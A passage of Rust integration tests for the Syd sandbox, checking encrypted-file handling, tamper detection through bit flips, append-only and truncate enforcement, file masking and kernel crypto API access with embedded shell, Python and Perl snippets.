        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.crypt
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
echo 'All your logs belong to us!' >> test.raw
cat >test.py <<'EOF'
import os, errno, fcntl
fd = os.open("test.crypt", os.O_WRONLY|os.O_APPEND)
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fl &= ~os.O_APPEND
try:
    fcntl.fcntl(fd, fcntl.F_SETFL, fl)
    raise RuntimeError("Expected EACCES but succeeded!")
except OSError as e:
    if e.errno != errno.EACCES:
        raise
os.lseek(fd, 0, os.SEEK_SET)
os.write(fd, b"All your logs belong to us!\n")
os.close(fd)
EOF
cat test.py
python3 test.py
cat test.crypt
diff -u test.raw test.crypt
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_crypt_ftruncate_deny() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("diff", "python3", "sh");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/truncate:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.crypt
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
cat >test.py <<'EOF'
import os, errno, fcntl
fd = os.open("test.crypt", os.O_WRONLY)
try:
    os.ftruncate(fd, 0)
    raise RuntimeError("Expected EACCES but succeeded!")
except OSError as e:
    if e.errno != errno.EACCES:
        raise
os.close(fd)
EOF
cat test.py
python3 test.py
cat test.crypt
diff -u test.raw test.crypt
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_crypt_ftruncate_allow() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("diff", "python3", "sh");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/truncate:on")
        .m(format!("allow/truncate+{cwd}/*.crypt"))
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.crypt
: > test.raw
cat >test.py <<'EOF'
import os, errno, fcntl
fd = os.open("test.crypt", os.O_WRONLY)
os.ftruncate(fd, 0)
os.close(fd)
EOF
cat test.py
python3 test.py
cat test.crypt
diff -u test.raw test.crypt
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mask_simple() -> TestResult {
    skip_unless_available!("diff", "readlink", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create:on")
        .m("allow/read,write,create+/***")
        .argv(["sh", "-cx"])
        .arg(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.orig
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.mask
abs=$(readlink -f tao.mask)
test -f "$abs" || exit 1

test -c "/dev/syd/mask+${abs}" || exit 2
test -f "$abs" || exit 3
cat tao.mask || exit 4
echo > tao.mask || exit 5
diff -u tao.orig tao.mask && exit 6

test -c "/dev/syd/mask-${abs}" || exit 7
diff -u tao.orig tao.mask || exit 8

test -c "/dev/syd/mask+${abs}" || exit 9
test -f "$abs" || exit 10
cat tao.mask || exit 11
echo > tao.mask || exit 12
diff -u tao.orig tao.mask && exit 13

test -c "/dev/syd/mask^" || exit 14
diff -u tao.orig tao.mask || exit 15
true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mask_target() -> TestResult {
    skip_unless_available!("diff", "readlink", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create:on")
        .m("allow/read,write,create+/***")
        .argv(["sh", "-cx"])
        .arg(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.orig
:> tao.mask
abs=$(readlink -f tao.mask)
test -f "$abs" || exit 1

test -c "/dev/syd/mask+/**/*.orig:${abs}" || exit 2
test -f tao.orig || exit 3
cat tao.orig || exit 4
diff -u tao.orig tao.mask || exit 5

test -c "/dev/syd/mask-/**/*.orig" || exit 6
diff -u tao.orig tao.mask && exit 7
test -c "/dev/syd/mask+/**/*.orig:${abs}" || exit 8

test -c "/dev/syd/deny/all+${abs}" || exit 9
cat tao.mask && exit 10
cat tao.orig || exit 11

test -c "/dev/syd/allow/all+${abs}" || exit 12
cat tao.mask || exit 13
cat tao.orig || exit 14

test -c "/dev/syd/deny/all+/**/*.orig" || exit 15
cat tao.mask || exit 16
cat tao.orig && exit 17

true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mask_target_dir_override() -> TestResult {
    skip_unless_available!("diff", "readlink", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create:on")
        .m("allow/read,write,create+/***")
        .argv(["sh", "-cx"])
        .arg(
            r##"
mkdir tao.orig_dir
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.orig_dir/tao.orig
echo guess-whos-back > tao.orig_dir/real-slim-shady
mkdir tao.mask_dir
:> tao.mask_dir/tao.mask
echo real-slim-shady > tao.mask_dir/eminem
dabs=$(readlink -f tao.mask_dir)
fabs=$(readlink -f tao.mask_dir/tao.mask)
test -d "$dabs" || exit 1
test -f "$fabs" || exit 2

test -c "/dev/syd/mask+/**/*.orig*/***:${fabs}:${dabs}" || exit 3
test -f tao.orig_dir/tao.orig || exit 4
cat tao.orig_dir/tao.orig || exit 5
diff -u tao.orig_dir/tao.orig tao.mask_dir/tao.mask || exit 6
ls tao.orig_dir | grep -q eminem || exit 7

test -c "/dev/syd/mask-/**/*.orig*/***" || exit 8
diff -u tao.orig_dir/tao.orig tao.mask_dir/tao.mask && exit 8
ls tao.orig_dir | grep -q real-slim-shady || exit 9

test -c "/dev/syd/mask+/**/*.orig*/***:${fabs}:${dabs}" || exit 10
test -f tao.orig_dir/tao.orig || exit 11
cat tao.orig_dir/tao.orig || exit 12
diff -u tao.orig_dir/tao.orig tao.mask_dir/tao.mask || exit 13
ls tao.orig_dir | grep -q eminem || exit 14

test -c "/dev/syd/mask^" || exit 15
diff -u tao.orig_dir/tao.orig tao.mask_dir/tao.mask && exit 16
ls tao.orig_dir | grep -q real-slim-shady || exit 17

true
    "##,
        )
        .status()
        .expect("execute syd");
    // FIXME: Directory masking is broken!
    // cfarm27 exits with 7!
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_truncate() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("truncate", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_truncate64() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("truncate64", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ftruncate() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("ftruncate", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ftruncate64() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("ftruncate64", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// FIXME: This test is marked expensive,
// because it may fill up available space on CI:
// https://builds.sr.ht/~alip/job/1602601#task-test
fn test_syd_exp_fallocate64() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("fallocate64", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_kcapi_hash_block() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | EAFNOSUPPORT);

    Ok(())
}

fn test_syd_kcapi_hash_stream() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | EAFNOSUPPORT);

    Ok(())
}

fn test_syd_kcapi_cipher_block() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | EAFNOSUPPORT);

    Ok(())
}

fn test_syd_crypt_bit_flip_header() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "shuf");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_bit = &SYD_BIT.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
flip_random_bit() {{
    local idx=$(shuf -i ${{1}}-${{2}} -n1)
    exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the magic header (first 5 bytes).
flip_random_bit 0 39 ./test.crypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Bit flips in the file magic
    // will not generate a bad message
    // error. Instead it will make Syd
    // ignore those files and open them
    // as-is.
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .do_("open", ["./test.crypt"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_bit_flip_auth_tag() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "shuf");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_bit = &SYD_BIT.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
flip_random_bit() {{
    local idx=$(shuf -i ${{1}}-${{2}} -n1)
    exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the auth tag (32 bytes after the first 5 bytes).
flip_random_bit 40 295 ./test.crypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .do_("open", ["./test.crypt"])
        .status()
        .expect("execute syd");
    assert_status_bad_message!(status);

    Ok(())
}

fn test_syd_crypt_bit_flip_iv() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "shuf");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_bit = &SYD_BIT.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
flip_random_bit() {{
    local idx=$(shuf -i ${{1}}-${{2}} -n1)
    exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the auth tag (16 bytes after the first 5+32 bytes).
flip_random_bit 296 423 ./test.crypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .do_("open", ["./test.crypt"])
        .status()
        .expect("execute syd");
    assert_status_bad_message!(status);

    Ok(())
}

fn test_syd_crypt_bit_flip_ciphertext() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "shuf");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_bit = &SYD_BIT.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
flip_random_bit() {{
    local idx=$(shuf -i ${{1}}-${{2}} -n1)
    exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the ciphertext (starts after the first 53 bytes).
flip_random_bit 424 524711 ./test.crypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .do_("open", ["./test.crypt"])
        .status()
        .expect("execute syd");
    assert_status_bad_message!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_file_modes() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("perl");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["perl", "-e"])
        .arg(
            r##"
use strict;
use warnings;
use Fcntl qw(:DEFAULT :flock SEEK_END);
my $message = 'Change return success. Going and coming without error. Action brings good fortune.';
my $file = 'test.crypt';
open my $fh_write, '>', $file or die 'Failed to open file for writing';
print $fh_write $message;
close $fh_write;
open my $fh_read, '<', $file or die 'Failed to open file for reading';
my $line = <$fh_read>;
close $fh_read;
die 'Content mismatch in read-only step' unless $line eq $message;
open my $fh_rw, '+<', $file or die 'Failed to open file for read-write';
print $fh_rw $message;
seek $fh_rw, 0, 0;
$line = <$fh_rw>;
close $fh_rw;
die 'Content mismatch in read-write step' unless $line eq $message;
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_cmp_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=2 count=8 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_single_cmp_null_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/null | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_aes_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=2 count=8 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_single_aes_null_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee", "find");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/null | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Note, when the file is written with zero size.
    // we delete the IV to prevent IV reuse. Here
    // is to test the iv attribute indeed does not
    // exist.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
find test.crypt -type f -empty | grep .
"##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_cmp_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=16 count=1 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=32 count=2 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
    dd if=/dev/random bs=1024 count=1 status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=1 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
    dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {128..1}; do
    dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] count down from $i..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i writes done."
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 128 -1 1 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_aes_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=16 count=1 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=32 count=2 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
    dd if=/dev/random bs=1024 count=1 status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=1 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
